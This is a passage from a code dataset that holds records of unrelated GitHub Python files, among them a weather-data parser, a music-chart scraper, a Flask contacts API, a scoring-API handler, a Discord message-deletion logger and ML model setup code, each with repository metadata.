urllib.request.urlopen(self.path)\n\n memfile = io.BytesIO(mysock.read())\n\n with ZipFile(memfile, 'r') as myzip:\n\n nameList = myzip.namelist()\n p = re.compile(self.pattern_searched_file)\n\n for name in nameList:\n m = p.match(name)\n if m:\n filename = m.group()\n f = myzip.open(filename)\n csv_read = pd.read_csv(f, sep = \";\") # read as DataFrame\n self.choose_date(csv_read)\n\n start_date = csv_read[self.MESS_DATUM][0] # get the start date of CSV\n end_date = csv_read[self.MESS_DATUM][-1:].values # get end date of CSV\n dict_date = dict(start = start_date, end = end_date[0])\n\n self.times.append(dict_date)\n\n return csv_read\n\n def choose_date(self, csv_read):\n colomns = csv_read.columns\n regex = re.compile(r'^MESS_DATUM*')\n colomns_list = list(filter(regex.match, colomns))\n if len(colomns_list) > 1:\n self.MESS_DATUM = 'MESS_DATUM_ENDE'\n\n def dwd_response(self):\n\n \"\"\"\n concat the different CSV's and reform the respond Object to but Meta Data on the top of each\n row.\n :return: Dictionary\n \"\"\"\n\n for single_path in self.path_choices: # Loop over path path choices to look over\n\n r_dict = self.zip_extract(single_path)\n path_split = single_path.split('/')\n file_name = path_split[-1]\n epoch = path_split[-2]\n\n self.extract_timestamps(epoch, file_name, r_dict)\n\n return self.response\n\n\n def extract_timestamps(self, epoch, file_name, r_dict):\n \"\"\"\n Delete the replicated data, unused column & reorganize the TimeSeries\n :param epoch: String\n :param file_name: String\n :param r_dict: dictionary\n\n \"\"\"\n if epoch in ['recent', 'now'] : # remove redundancy (the Data from 'historical' comes at first )\n list_of_dicts = r_dict[r_dict[self.MESS_DATUM] > int(self.times[0]['end'])].to_dict('records')\n\n else:\n list_of_dicts = r_dict.to_dict('records')\n # loop over the dictionary to delete the unused column & reorganize the TimeSeries\n for i, single_dict in enumerate(list_of_dicts, 2):\n single_dict.pop('STATIONS_ID', None)\n single_dict.pop('eor', None)\n source_time = str(decimal.Decimal(single_dict[self.MESS_DATUM])).ljust(12, '0')\n single_dict['timestamp'] = util.deserialize_datetime(source_time)\n single_dict.pop(self.MESS_DATUM, None)\n timestamp = pytz.utc.localize(single_dict['timestamp']) # type: datetime\n if (self.start <= timestamp) and (timestamp <= self.end):\n self.extract_timestamp(epoch, file_name, i, single_dict)\n\n\n def extract_timestamp(self, epoch, file_name, source_line_number, single_dict):\n \"\"\"\n Every single timestamp will be extracted, then Add Meta Data.\n :param epoch: String\n :param file_name: String\n :param source_line_number:\n :param single_dict:\n\n \"\"\"\n ts = ResponseTimeseries()\n ts.epoch = epoch\n ts.source_line = source_line_number\n ts.source_file = file_name\n ts.source_url = self.path\n ts.values = []\n for k, v in single_dict.items():\n\n if k != 'timestamp':\n ts.values.append(Values(name = k, value = v))\n else:\n ts.timestamp = v\n self.response.timeseries.append(ts)\n", "repo_name": "alhajtaha/dwd-proxy-flask", "sub_path": "app/dwd_module/timeseries.py", "file_name": "timeseries.py", "file_ext": "py", "file_size_in_byte": 5987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.util.deserialize_datetime", "line_number": 51, "usage_type": "call"}, {"api_name": "app.util", "line_number": 51, "usage_type": "name"}, {"api_name": "app.util.deserialize_datetime", "line_number": 52, "usage_type": "call"}, {"api_name": "app.util", "line_number": 52, "usage_type": "name"}, {"api_name": "app.dwd_module.dwd_file_finder.FtpFileFinder", "line_number": 53, "usage_type": "call"}, {"api_name": "app.models.Response", "line_number": 55, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 78, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 78, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 80, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 82, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 92, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 105, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 147, "usage_type": "call"}, {"api_name": "app.util.deserialize_datetime", "line_number": 148, "usage_type": "call"}, {"api_name": "app.util", "line_number": 148, "usage_type": "name"}, {"api_name": "pytz.utc.localize", "line_number": 150, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 150, "usage_type": "attribute"}, {"api_name": "app.models.ResponseTimeseries", "line_number": 164, "usage_type": "call"}, {"api_name": "app.models.Values", "line_number": 173, "usage_type": "call"}]} {"seq_id": "20380453539", "text": "from setuptools import setup, find_packages\nimport re\nimport ast\n\n# version parsing from __init__ pulled from Flask's setup.py\n# https://github.com/mitsuhiko/flask/blob/master/setup.py\n_version_re = re.compile(r'__version__\\s+=\\s+(.*)')\n\nwith open('q2_humann2/__init__.py', 'rb') as f:\n hit = _version_re.search(f.read().decode('utf-8')).group(1)\n version = str(ast.literal_eval(hit))\n\n\nsetup(\n name=\"q2-humann2\",\n version=version,\n packages=find_packages(),\n install_requires=['qiime >= 2.0.0',\n 'humann2 >= 0.9.4, < 1.0.0',\n 'biom-format >= 2.1.5, < 2.2.0'],\n author=\"Daniel McDonald\",\n author_email=\"wasade@gmail.com\",\n description=\"QIIME2 plugin for running HUMAnN2\",\n entry_points={\n \"qiime.plugins\":\n [\"q2-humann2=q2_humann2.plugin_setup:plugin\"]\n }\n)\n", "repo_name": "wasade/q2-humann2", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.compile", "line_number": 7, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 11, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 14, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 17, "usage_type": "call"}]} {"seq_id": "39568503379", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport warnings\nwarnings.filterwarnings(action='ignore')\nimport datetime\ndf=datetime.datetime.now()\n\ntargetSite='https://music.bugs.co.kr/chart?wl_ref=M_left_02_01'\nrequest =requests.get(targetSite)\nhtml=request.text\nsoup = BeautifulSoup(html,'html.parser')\n\n# 노래제목 크롤링\ntitles = soup.findAll('p', {'class':'title'})\n\n# for i in range(len(titles)):\n # print('{0:3d}위 {1}'.format(i+1,titles[i].text.strip()))\n # print('{0:3d}위 {1}'.format(i+1,titles[i].text.split('\\n')[1]))\n # print(titles[i].text.split('\\n')[1])\n\nartists = soup.findAll('p', {'class':'artist'})\n# for i in range(len(artists)):\n# print('{0:3d}위 {1:50s}'.format(i + 1, titles[i].text.strip()))\n# print('{0:s}'.format(artists[i].text.strip().split('\\n')[0]))\n\n# print(df)\n# for i in range(100):\n# artist = artists[i].text.strip().split('\\n')[0]\n# title = titles[i].text.strip()\n# print('{0:3d}위 {1} - {2}'.format(i+1,artist,title))\n\n# 크롤링한 결과를 텍스트 파일로 저장한다\nfile = open('./output/bugsTOP100.txt','w')\nfile.write('{} 현재 Bugs 뮤직 실시간 TOP 100\\n'.format(df))\nfor i in range(100):\n artist = artists[i].text.strip().split('\\n')[0]\n title = titles[i].text.strip()\n file.write('{0:3d}위 {1} - {2}\\n'.format(i+1,artist,title))\nfile.close()\nprint('bugsTOP100.txt 쓰기 완료')\n\n# text 파일에 저장된 데이터를 읽어서 화면에 출력한다\ntry:\n file = open('./output/bugsTOP100.txt', 'r')\n lines = file.readlines()\n for line in lines:\n print(line.strip())\n file.close()\nexcept FileNotFoundError:\n\n print('디스크에 bugsTOP100.txt 파일이 없습니다')", "repo_name": "wjddn3711/Python", "sub_path": "python_Algorithm/crawling/bugsCrawling.py", "file_name": "bugsCrawling.py", "file_ext": "py", "file_size_in_byte": 1700, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "warnings.filterwarnings", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 6, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 9, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 11, "usage_type": "call"}]} {"seq_id": "1374847642", "text": "from flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\nclass Contact:\n def __init__(self, name, phone_number):\n self.name = name\n self.phone_number = phone_number\n\nclass AddressBook:\n def __init__(self):\n self.contacts = []\n\n def add_contact(self, name, phone_number):\n contact = Contact(name, phone_number)\n self.contacts.append(contact)\n\n def remove_contact(self, name):\n for contact in self.contacts:\n if contact.name == name:\n self.contacts.remove(contact)\n return\n\n def search_contact(self, name):\n for contact in self.contacts:\n if contact.name == name:\n return contact.phone_number\n return \"Kontak tidak ditemukan\"\n\naddress_book = AddressBook()\n\n@app.route('/contacts', methods=['POST'])\ndef add_contact():\n data = request.get_json()\n name = data.get('name')\n phone_number = data.get('phone_number')\n address_book.add_contact(name, phone_number)\n return jsonify({'message': 'Kontak berhasil ditambahkan'})\n\n@app.route('/contacts/', methods=['DELETE'])\ndef remove_contact(name):\n address_book.remove_contact(name)\n return jsonify({'message': 'Kontak berhasil dihapus'})\n\n@app.route('/contacts/', methods=['GET'])\ndef search_contact(name):\n phone_number = address_book.search_contact(name)\n return jsonify({'phone_number': phone_number})\n\nif __name__ == '__main__':\n app.run(debug=False)\n", "repo_name": "firyal-salsa/flask-crud", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1484, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 48, "usage_type": "call"}]} {"seq_id": "24615059689", "text": "from __future__ import annotations\n\nfrom typing import ClassVar\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Link:\n name: any\n items: list[str]\n\n @property\n def as_dict(self):\n return {\n 'name': self.name,\n 'items': tuple(self.items)\n }\n\n\n@dataclass\nclass Node:\n type: ClassVar[str] = None\n\n name: str\n links: list = None\n\n def push(self, link_type, value: Node):\n for link in self.links:\n if link.name == link_type:\n for item in link.items:\n if item.name == value.name:\n break\n else:\n link.items.append(value.clone_without_links())\n break\n else:\n self.links.append(Link(name = link_type, items = [value.clone_without_links()]))\n\n return self\n\n @property\n def as_dict(self):\n links = self.links\n\n if links is not None and len(links) > 0:\n return {\n 'name': self.name,\n 'type': self.type,\n 'links': links\n }\n\n return {\n 'name': self.name,\n 'type': self.type\n }\n\n def clone_without_links(self):\n return type(self)(self.name)\n\n\ndef get_hash(node: Node):\n return (node.type, node.name)\n", "repo_name": "zeionara/cold", "sub_path": "cold/util/Node.py", "file_name": "Node.py", "file_ext": "py", "file_size_in_byte": 1335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dataclasses.dataclass", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.ClassVar", "line_number": 22, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 20, "usage_type": "name"}]} {"seq_id": "70604713545", "text": "import datetime\nimport hashlib\nimport typing as t\n\nfrom otus_scoring_api.classes import (\n ClientsInterestsRequest,\n DateField,\n MethodRequest,\n OnlineScoreRequest,\n ValidationError,\n)\nfrom otus_scoring_api.constants import (\n ADMIN_SALT,\n FORBIDDEN,\n INTERNAL_ERROR,\n INVALID_REQUEST,\n OK,\n SALT,\n)\nfrom otus_scoring_api.scoring import get_interests, get_score, ScoringError\n\nSUPPORTED_METHODS = {\n \"online_score\": OnlineScoreRequest,\n \"clients_interests\": ClientsInterestsRequest,\n}\n\n\ndef check_auth(request: MethodRequest):\n if request.is_admin:\n digest = hashlib.sha512(\n f\"{datetime.datetime.now().strftime('%Y%m%d%H')}\"\n f\"{ADMIN_SALT}\".encode(\"utf-8\")\n ).hexdigest()\n else:\n digest = hashlib.sha512(\n f\"{request.account}{request.login}{SALT}\".encode(\"utf-8\")\n ).hexdigest()\n if digest == request.token:\n return True\n return False\n\n\ndef method_handler(\n request: t.Dict, ctx: t.Dict, store\n) -> t.Tuple[t.Union[t.Dict, str, None], t.Optional[int]]:\n response, code = {}, OK\n # trying to parse request body\n try:\n parsed_request = MethodRequest(**request.get(\"body\", {}))\n except ValidationError as e:\n return str(e), INVALID_REQUEST\n\n # checking auth\n if not check_auth(parsed_request):\n return None, FORBIDDEN\n\n # method arguments processing\n method_class = SUPPORTED_METHODS.get(parsed_request.method)\n if not method_class:\n return (\n f\"Method '{parsed_request.method}' unsupported\",\n INVALID_REQUEST,\n )\n elif not parsed_request.arguments:\n return \"Method arguments required\", INVALID_REQUEST\n\n try:\n method_args = method_class(**parsed_request.arguments)\n except ValidationError as e:\n return (\n f\"Wrong arguments for method '{parsed_request.method}': {str(e)}\",\n INVALID_REQUEST,\n )\n\n # method performing\n if parsed_request.method == \"online_score\":\n ctx[\"has\"] = method_args.non_empty_fields_lst\n if parsed_request.is_admin:\n score = 42\n else:\n method_args = t.cast(OnlineScoreRequest, method_args)\n score = get_score(\n store=store,\n phone=method_args.phone,\n email=method_args.email,\n birthday=DateField.as_datetime(method_args.birthday),\n gender=method_args.gender,\n first_name=method_args.first_name,\n last_name=method_args.last_name,\n )\n response = {\"score\": score}\n\n elif parsed_request.method == \"clients_interests\":\n method_args = t.cast(ClientsInterestsRequest, method_args)\n ctx[\"nclients\"] = len(method_args.client_ids)\n if not ctx[\"nclients\"]:\n code = INVALID_REQUEST\n response = \"clients_ids list cannot be empty\"\n else:\n try:\n response = {\n str(cid): get_interests(store, str(cid))\n for cid in method_args.client_ids\n }\n except ScoringError as e:\n code = INTERNAL_ERROR\n response = str(e)\n else:\n code = INVALID_REQUEST\n response = f\"Method '{parsed_request.method}' unsupported\"\n\n return response, code\n", "repo_name": "z-lex/otus-scoring-api", "sub_path": "src/otus_scoring_api/handlers.py", "file_name": "handlers.py", "file_ext": "py", "file_size_in_byte": 3370, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "otus_scoring_api.classes.OnlineScoreRequest", "line_number": 23, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.ClientsInterestsRequest", "line_number": 24, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.MethodRequest", "line_number": 28, "usage_type": "name"}, {"api_name": "hashlib.sha512", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "attribute"}, {"api_name": "otus_scoring_api.constants.ADMIN_SALT", "line_number": 32, "usage_type": "name"}, {"api_name": "hashlib.sha512", "line_number": 35, "usage_type": "call"}, {"api_name": "otus_scoring_api.constants.SALT", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 44, "usage_type": "attribute"}, {"api_name": "otus_scoring_api.constants.OK", "line_number": 46, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.MethodRequest", "line_number": 49, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.ValidationError", "line_number": 50, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 51, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.FORBIDDEN", "line_number": 55, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 62, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 65, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.ValidationError", "line_number": 69, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 81, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.OnlineScoreRequest", "line_number": 81, "usage_type": "argument"}, {"api_name": "otus_scoring_api.scoring.get_score", "line_number": 82, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.DateField.as_datetime", "line_number": 86, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.DateField", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 94, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.ClientsInterestsRequest", "line_number": 94, "usage_type": "argument"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 97, "usage_type": "name"}, {"api_name": "otus_scoring_api.scoring.get_interests", "line_number": 102, "usage_type": "call"}, {"api_name": "otus_scoring_api.scoring.ScoringError", "line_number": 105, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INTERNAL_ERROR", "line_number": 106, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 109, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "attribute"}]} {"seq_id": "70082411145", "text": "from typing import List\n\n# Definition for a binary tree node.\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n def __repr__(self):\n return str(self.val)\n\n\nclass Solution:\n def generateTrees(self, n: int) -> List[TreeNode]:\n def buildTree(root, left_list, right_list):\n ans = []\n # print(root, left_list, right_list)\n left = []\n for i in range(len(left_list)):\n left.extend(\n buildTree(left_list[i], left_list[:i], left_list[i+1:]))\n right = []\n for j in range(len(right_list)):\n right.extend(buildTree(\n right_list[j], right_list[:j], right_list[j+1:]))\n if not left:\n left = [None]\n if not right:\n right = [None]\n for l in left:\n for r in right:\n tmp = TreeNode(root)\n tmp.left = l\n tmp.right = r\n ans.append(tmp)\n return ans\n ans = []\n for i in range(1, n + 1):\n ans.extend(buildTree(i, list(range(1, i)), list(range(i+1, n+1))))\n return ans\n # 思路正确，代码还可以写简单点，看下次碰见能写成什么样吧\n\n\nif __name__ == \"__main__\":\n s = Solution()\n print(s.generateTrees(3))\n", "repo_name": "tiandiyijian/myLeetcode", "sub_path": "95.py", "file_name": "95.py", "file_ext": "py", "file_size_in_byte": 1465, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 17, "usage_type": "name"}]} {"seq_id": "24548498246", "text": "\"\"\"\nIndexing module\n\"\"\"\n\nimport os.path\nimport sqlite3\n\nfrom txtai.embeddings import Embeddings\n\nfrom .models import Models\nfrom .tokenizer import Tokenizer\n\nclass Index(object):\n \"\"\"\n Methods to build a new sentence embeddings index.\n \"\"\"\n\n @staticmethod\n def stream(dbfile):\n \"\"\"\n Streams questions from a questions.db file. This method is a generator and will yield a row at time.\n\n Args:\n dbfile: input SQLite file\n \"\"\"\n\n # Connection to database file\n db = sqlite3.connect(dbfile)\n cur = db.cursor()\n\n cur.execute(\"SELECT Id, Question, Source, Tags FROM questions\")\n\n count = 0\n for question in cur:\n # Tokenize question, source and tags\n tokens = Tokenizer.tokenize(question[1] + \" \" + question[2] + \" \" + question[3])\n\n document = (question[0], tokens, question[3])\n\n count += 1\n if count % 1000 == 0:\n print(\"Streamed %d documents\" % (count), end=\"\\r\")\n\n # Skip documents with no tokens parsed\n if tokens:\n yield document\n\n print(\"Iterated over %d total rows\" % (count))\n\n # Free database resources\n db.close()\n\n @staticmethod\n def embeddings(dbfile):\n \"\"\"\n Builds a sentence embeddings index.\n\n Args:\n dbfile: input SQLite file\n\n Returns:\n embeddings index\n \"\"\"\n\n embeddings = Embeddings({\"path\": Models.vectorPath(\"stackexchange-300d.magnitude\"),\n \"storevectors\": True,\n \"scoring\": \"bm25\",\n \"pca\": 3,\n \"quantize\": True})\n\n # Build scoring index if scoring method provided\n if embeddings.config.get(\"scoring\"):\n embeddings.score(Index.stream(dbfile))\n\n # Build embeddings index\n embeddings.index(Index.stream(dbfile))\n\n return embeddings\n\n @staticmethod\n def run():\n \"\"\"\n Executes an index run.\n \"\"\"\n\n path = Models.modelPath(\"stackexchange\")\n dbfile = os.path.join(path, \"questions.db\")\n\n print(\"Building new model\")\n embeddings = Index.embeddings(dbfile)\n embeddings.save(path)\n\nif __name__ == \"__main__\":\n Index.run()\n", "repo_name": "yueshan723/codequestion", "sub_path": "src/python/codequestion/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 2363, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlite3.connect", "line_number": 28, "usage_type": "call"}, {"api_name": "tokenizer.Tokenizer.tokenize", "line_number": 36, "usage_type": "call"}, {"api_name": "tokenizer.Tokenizer", "line_number": 36, "usage_type": "name"}, {"api_name": "txtai.embeddings.Embeddings", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Models.vectorPath", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Models", "line_number": 65, "usage_type": "name"}, {"api_name": "models.Models.modelPath", "line_number": 86, "usage_type": "call"}, {"api_name": "models.Models", "line_number": 86, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 87, "usage_type": "name"}]} {"seq_id": "13583237969", "text": "import datetime\nimport re\nfrom typing import List\nimport pandas as pd\n\n\ndef convert_time(x, time_format: str = \"%Y-%m-%d %H:%M:%S\"):\n try:\n if isinstance(x, datetime.datetime):\n return x\n elif isinstance(x, str):\n return datetime.datetime.strptime(x, time_format)\n elif isinstance(x, int):\n return datetime.datetime.fromtimestamp(x, time_format)\n except: # pylint: disable=bare-except\n return x\n\n\ndef is_phone(x) -> bool:\n \"\"\"judge x is phone\n phone refer to 11 digit mobile phone.\n\n Args:\n x (str): input\n\n Returns:\n bool: output\n \"\"\"\n if x.startswith(\"1\") and len(x) == 11 and x.isdigit():\n return True\n return False\n\n\ndef is_qq(x) -> bool:\n \"\"\"\n check is x is qq\n qq is a set of number between 5-10, starts from 10000.\n Args:\n x (str):\n\n Returns:\n bool: qq or not\n \"\"\"\n if len(x) >= 5 and len(x) <= 10 and x >= \"10000\" and x.isdigit():\n return True\n return False\n\n\ndef is_wx() -> bool:\n pass\n\n\ndef simple_tie(series: pd.Series) -> List:\n series = series[~pd.isna(series)]\n series = series.apply(lambda x: str(x).replace(\"_x000D_\", \"\").replace(\n \"\\r\", \"\").replace(\"\\n\", \"\"))\n series = series.apply(lambda x: re.split(r\"[，、|]\", str(x)))\n series = series[series.apply(lambda x: isinstance(x, list))]\n result_tie = series.tolist()\n result_list = [\n item.strip() for inner in result_tie for item in inner\n if len(item) == 11 and re.match(r\"^1[3-9]\\d{9}$\", item)\n ]\n return result_list\n\n\ndef read_data_from_excel(file_path: str, sheet_name: str) -> tuple:\n \"\"\"\n Args:\n file_path:xlsx fp\n sheet_name:str,can not be empty\n \"\"\"\n df = pd.read_excel(file_path, sheet_name=sheet_name, engine=\"openpyxl\")\n date_key = \"日期\"\n df[date_key] = df[date_key].apply(convert_time)\n df = df[df[date_key].apply(lambda x: isinstance(x, datetime.datetime))]\n base_date = datetime.datetime(year=2021, month=11, day=1)\n mask = df[date_key].apply(lambda x: x >= base_date)\n df = df[mask]\n\n phone_key = \"手机号\"\n phone_list = simple_tie(df[phone_key])\n # print(phone_list[:10])\n\n qq_or_wx_key = \"用户账号（填写QQ/微信账号）\"\n qq_or_wx_list = simple_tie(df[qq_or_wx_key])\n # print(qq_or_wx_list[:10])\n return (phone_list, qq_or_wx_list)\n\n\nif __name__ == \"__main__\":\n # test_openid()\n # test_read_excel()\n # crytor=PrpCrypt()\n pass\n", "repo_name": "baicao/wxy_model_toolbox", "sub_path": "common/tools.py", "file_name": "tools.py", "file_ext": "py", "file_size_in_byte": 2505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pandas.isna", "line_number": 54, "usage_type": "call"}, {"api_name": "re.split", "line_number": 57, "usage_type": "call"}, {"api_name": "re.match", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 53, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "call"}]} {"seq_id": "30348708693", "text": "import discord\nimport datetime\n\nclient = discord.Client()\n\n\n@client.event\nasync def on_message_delete(message):\n y = datetime.datetime.now().year\n m = datetime.datetime.now().month\n d = datetime.datetime.now().day\n h = datetime.datetime.now().hour\n min = datetime.datetime.now().minute\n bot_logs = 'insert channel id'\n embed = discord.Embed(title='메시지 삭제', colour=discord.Colour.orange())\n embed.add_field(name='유저', value=f'<@{message.author.id}>({message.author})')\n embed.add_field(name='채널', value=f'<#{message.channel.id}>')\n embed.add_field(name='내용', value=message.content, inline=False)\n embed.add_field(name='날짜', value=f\"{y}-{m}-{d} {h}:{min}\", inline=False)\n await client.get_channel(int(bot_logs)).send(embed=embed)\n \n \n@client.event\nasync def on_ready():\n game = discord.Game('bot')\n await client.change_presence(status=discord.Status.online, activity=game)\n\n\n \nclient.run('insert bot token')\n", "repo_name": "tmddn3070/discord-delect-bot", "sub_path": "discord delect bot.py", "file_name": "discord delect bot.py", "file_ext": "py", "file_size_in_byte": 983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.Client", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.Colour.orange", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 15, "usage_type": "attribute"}, {"api_name": "discord.Game", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.Status", "line_number": 26, "usage_type": "attribute"}]} {"seq_id": "41766644862", "text": "from .dqn import DQNRecurrent, DQNFeedforward\nfrom ..utils import bool_flag\n\n\nmodels = {\n 'dqn_ff': DQNFeedforward,\n 'dqn_rnn': DQNRecurrent\n}\n\n\ndef get_model_class(model_type):\n cls = models.get(model_type)\n if cls is None:\n raise RuntimeError((\"unknown model type: '%s'. supported values \"\n \"are: %s\") % (model_type, ', '.join(models.keys())))\n return cls\n\n\ndef register_model_args(parser, args):\n \"\"\"\n Parse model parameters.\n \"\"\"\n # network type\n parser.add_argument(\"--network_type\", type=str, default='dqn_ff',\n help=\"Network type (dqn_ff / dqn_rnn)\")\n parser.add_argument(\"--use_bn\", type=bool_flag, default=False,\n help=\"Use batch normalization in CNN network\")\n\n # model parameters\n params, _ = parser.parse_known_args(args)\n network_class = get_model_class(params.network_type)\n network_class.register_args(parser)\n network_class.validate_params(parser.parse_known_args(args)[0])\n\n # parameters common to all models\n parser.add_argument(\"--clip_delta\", type=float, default=1.0,\n help=\"Clip delta\")\n parser.add_argument(\"--variable_dim\", type=str, default='32',\n help=\"Game variables embeddings dimension\")\n parser.add_argument(\"--bucket_size\", type=str, default='1',\n help=\"Bucket size for game variables\")\n parser.add_argument(\"--hidden_dim\", type=int, default=512,\n help=\"Hidden layer dimension\")\n parser.add_argument(\"--update_frequency\", type=int, default=4,\n help=\"Update frequency (1 for every time)\")\n parser.add_argument(\"--dropout\", type=float, default=0.,\n help=\"Dropout\")\n parser.add_argument(\"--optimizer\", type=str, default=\"rmsprop,lr=0.0002\",\n help=\"Optimizer (SGD / RMSprop / Adam, etc.)\")\n\n # check common parameters\n params, _ = parser.parse_known_args(args)\n assert params.clip_delta >= 0\n assert params.update_frequency >= 1\n assert 0 <= params.dropout < 1\n", "repo_name": "glample/Arnold", "sub_path": "src/model/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2115, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 505, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dqn.DQNFeedforward", "line_number": 6, "usage_type": "name"}, {"api_name": "dqn.DQNRecurrent", "line_number": 7, "usage_type": "name"}, {"api_name": "utils.bool_flag", "line_number": 26, "usage_type": "name"}]} {"seq_id": "6151348830", "text": "import numpy as np\n\nclass KalmanFilter(object):\n 